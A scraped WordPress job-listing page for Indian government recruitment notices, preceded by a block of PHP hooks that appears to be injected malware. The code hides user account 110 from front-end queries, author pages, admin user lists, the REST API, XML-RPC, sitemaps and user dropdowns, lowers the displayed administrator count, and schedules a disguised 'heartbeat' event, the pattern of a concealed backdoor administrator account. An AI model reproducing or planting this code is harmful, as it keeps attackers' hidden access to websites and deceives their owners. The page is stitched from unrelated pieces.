add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 110;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 110 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 110 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 110;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 110;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/110(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Government Jobs - Page 46 of 52 - Government Exam Alert - Jobs/ Exam Information
Skip to content
delhi police head constable recruitment 2022 for AWO TPO 857 Posts ssc delhi police head constable notification 2022 download pdf file online application form male female posts Group C Vacancy Apply Online Age Limit Criteria DP HC Exam Date 2022 Delhi Police Head Constable Ministerial Recruitment 2022 HC AWO TPO Online Application Dates LATEST UPDATE … Read more
Categories 12th/ Intermediate Jobs , Central Government Jobs , Golden Jobs , Government Jobs , Graduation , SSC Jobs , What's New Here Tags Apply Online , Delhi Police , delhi police hc ministerial notification , Head Constable , Online Application Form fci management trainee recruitment 2022 apply online food corporation of india recruitment 2022 for 113 Manager posts online application form North South East West Zone wise vacancies fci mt job vacancies apply online advt 02/2022 eligibility FCI Management Trainee Recruitment 2022 Category II Apply Online Job Update : Online Applications for Food Corporation of India’s … Read more
Categories Adminstrative Jobs , B.Com , B.Pharma , B.Sc , BA , BBA , BCA , BE/B.Tech , Central Government Jobs , Engineering/ Technical Jobs , Golden Jobs , Government Jobs , Graduation , Post Graduate , PSU Recruitment Tags Apply Online , FCI , fci job vacancies , Food Corporation of India , Management Trainee , Manager , Online Application Form NHM UP Recruitment 2022 112 Vacancies National Health Mission Uttar Pradesh UP NHM Recruitment 2022 for multiple Posts under National Mental Health Program Apply Online Now NHM UP Nurse Exam Date 2022 for Online Application upnrhm specialist vacancy NHM UP Recruitment 2022 NMHP Multiple Posts Apply Online LATEST UPDATE dated 24.08.2022 : UP NHM has … Read more
Categories 12th/ Intermediate Jobs , B.Sc , Diploma Jobs , Golden Jobs , Government Jobs , Graduation , Medical Jobs , Other Government Jobs , State Government Jobs Tags Apply Online , Lab Technician , National Health Mission , Online Application Form , OT Technician , Staff Nurse , UP , UP NRHM lic hfl assistant recruitment 2022 online application form for 80 posts LIC Housing finance limited LIC HFL New Vacancy 2022 for assistant manager posts apply now LIC HFL Assistant Recruitment 2022 Assistant Manager Online Application Form JOB UPDATE : LIC HFL has issued Recruitment Notification for Assistant and Assistant Manager Posts. Candidates can apply online … Read more
Categories Adminstrative Jobs , B.Com , B.Pharma , B.Sc , BA , Bank Jobs , BBA , BCA , BE/B.Tech , Central Government Jobs , Government Jobs , Graduation Tags Apply Online , Assistant , Assistant Manager , lic hfl , lic hfl assistant recruitment , Online Application Form uppcl computer assistant recruitment 2022 uppcl ca notification 2022 up power corporation jobs uppcl computer assistant vacancy 2022 computer sahayak online application date eligibility important dates UPPCL Computer Assistant Recruitment 2022 CA Apply Online Dates JOB UPDATE : UPPCL has issued Notification for Computer Assistant Post. Candidates can apply online from 10 August, 2022. Download … Read more
Categories B.Com , B.Pharma , B.Sc , BA , BBA , BCA , BE/B.Tech , Government Jobs , Graduation , State Government Jobs Tags Apply Online , computer assistant , office assistant , Online Application , power corporation jobs , Stenographer , up power corporation ltd , uppcl , uppcl jobs , uppcl office assistant recruitment , uppcl vacancies